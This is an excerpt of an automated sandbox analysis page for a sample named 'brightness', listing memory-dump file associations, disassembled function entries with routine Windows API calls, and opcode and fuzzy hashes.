Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: __getptd$__amsg_exit
String ID: csm
API String ID: 1969926928-1018135373
Opcode ID: f21ed9317b392a23d3a0101c206c60fad0d49fe9fee2f2183ce286149558712d
Instruction ID: 7e70b1f2c65e1aca63b8c18fab927dbbc6e9d6db80a2f4b13fca52e13b6a2d03
Opcode Fuzzy Hash: f21ed9317b392a23d3a0101c206c60fad0d49fe9fee2f2183ce286149558712d
Instruction Fuzzy Hash: 5101A2308A82868EDF35DF67D84866CB3B6BF20311FE4052DE44556691CF3099A1DF41

Function 002E2840 Relevance: 5.1, APIs: 4, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000018), ref: 002E284A

Part of subcall function 002CFE20: SHGetKnownFolderPath.SHELL32(?,00000000,00000000,?), ref: 002CFE74
Part of subcall function 002CFE20: LocalAlloc.KERNEL32(00000040,?), ref: 002CFEB2
Part of subcall function 002CFE20: __snwprintf.LIBCMT ref: 002CFEDA
Part of subcall function 002CFE20: CoTaskMemFree.COMBASE(?), ref: 002CFEF5

LocalFree.KERNEL32(00000000), ref: 002E28B8
LocalFree.KERNEL32(00000000), ref: 002E28C7
LocalFree.KERNEL32(00000000), ref: 002E28D1

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc$FolderKnownPathTask__snwprintf
String ID:
API String ID: 2970491683-0
Opcode ID: 7c783cc38b0c08430a1b80ba2b55211c01faecefb4c09ecc5ebcb25ef3a53617
Instruction ID: 5af57d987462f849e094706daa8f663351a464ecb81e24199243c6bb15ddd603
Opcode Fuzzy Hash: 7c783cc38b0c08430a1b80ba2b55211c01faecefb4c09ecc5ebcb25ef3a53617
Instruction Fuzzy Hash: 3421D379E50208EFCB04DF99D989AADBBB9EF88300F108599E905A7350D774AA44DF60

Function 002D9AB6 Relevance: 5.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 002D9C80
LocalFree.KERNEL32(00000000), ref: 002D9C8A
CloseHandle.KERNEL32(00000000), ref: 002D9C96
LocalFree.KERNEL32(00000000), ref: 002D9CA0

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: FreeLocal$CloseHandle
String ID:
API String ID: 2045616094-0
Opcode ID: 435991cefc120a6b5c2ea3a7bd4ffbb95de0a9d4fd87e313516b5db21e51146c
Instruction ID: 6202c9855e6252feb6d74c4311f855d9cf8a48f0ae1e03e2a7e008bb511892be
Opcode Fuzzy Hash: 435991cefc120a6b5c2ea3a7bd4ffbb95de0a9d4fd87e313516b5db21e51146c
Instruction Fuzzy Hash: 3001B675A20208DFCB15DFE4E98899EBBB9AF49301F104695F906A7310CA359D80DF50

Function 002D9A80 Relevance: 5.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 002D9C80
LocalFree.KERNEL32(00000000), ref: 002D9C8A
CloseHandle.KERNEL32(00000000), ref: 002D9C96
LocalFree.KERNEL32(00000000), ref: 002D9CA0

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: FreeLocal$CloseHandle
String ID:
API String ID: 2045616094-0
Opcode ID: 9f7ad45d71544b6882945afb6bbfcd52b0b2b9d0f70d4dc4d3e101a6073d210b
Instruction ID: 6202c9855e6252feb6d74c4311f855d9cf8a48f0ae1e03e2a7e008bb511892be
Opcode Fuzzy Hash: 9f7ad45d71544b6882945afb6bbfcd52b0b2b9d0f70d4dc4d3e101a6073d210b
Instruction Fuzzy Hash: 3001B675A20208DFCB15DFE4E98899EBBB9AF49301F104695F906A7310CA359D80DF50

Function 002D9AEF Relevance: 5.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 002D9C80
LocalFree.KERNEL32(00000000), ref: 002D9C8A
CloseHandle.KERNEL32(00000000), ref: 002D9C96
LocalFree.KERNEL32(00000000), ref: 002D9CA0

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: FreeLocal$CloseHandle
String ID:
API String ID: 2045616094-0
Opcode ID: 2b58fe29ae38df1e5be55c0e4346b9682b8ffe065d0e99af23aad608a4919d5f
Instruction ID: 6202c9855e6252feb6d74c4311f855d9cf8a48f0ae1e03e2a7e008bb511892be
Opcode Fuzzy Hash: 2b58fe29ae38df1e5be55c0e4346b9682b8ffe065d0e99af23aad608a4919d5f
Instruction Fuzzy Hash: 3001B675A20208DFCB15DFE4E98899EBBB9AF49301F104695F906A7310CA359D80DF50

Function 002DA0A4 Relevance: 5.0, APIs: 4, Instructions: 27COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 002DA140
LocalFree.KERNEL32(00000000), ref: 002DA14A
CloseHandle.KERNEL32(00000000), ref: 002DA156
LocalFree.KERNEL32(00000000), ref: 002DA160

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: FreeLocal$CloseHandle
String ID:
API String ID: 2045616094-0
Opcode ID: 1bf395007b94c549b91544af5333f8a5dafdb1c4ab05441083e93921d946a10f
Instruction ID: 06c87b27e63ddf9cd1e4a7eee2ab1ea115bae910e01f0a97b1fc5e56bc53314b
Opcode Fuzzy Hash: 1bf395007b94c549b91544af5333f8a5dafdb1c4ab05441083e93921d946a10f
Instruction Fuzzy Hash: 37F0B7B9A10208DFCB15DFF4ED8899EBB78AF88301F004644B906A7314CA349880CF20

Function 002C5169 Relevance: 5.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 002C56DD
LocalFree.KERNEL32(00000000), ref: 002C56F2
CloseHandle.KERNEL32(00000000), ref: 002C5702
CloseHandle.KERNEL32(00000000), ref: 002C5712

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
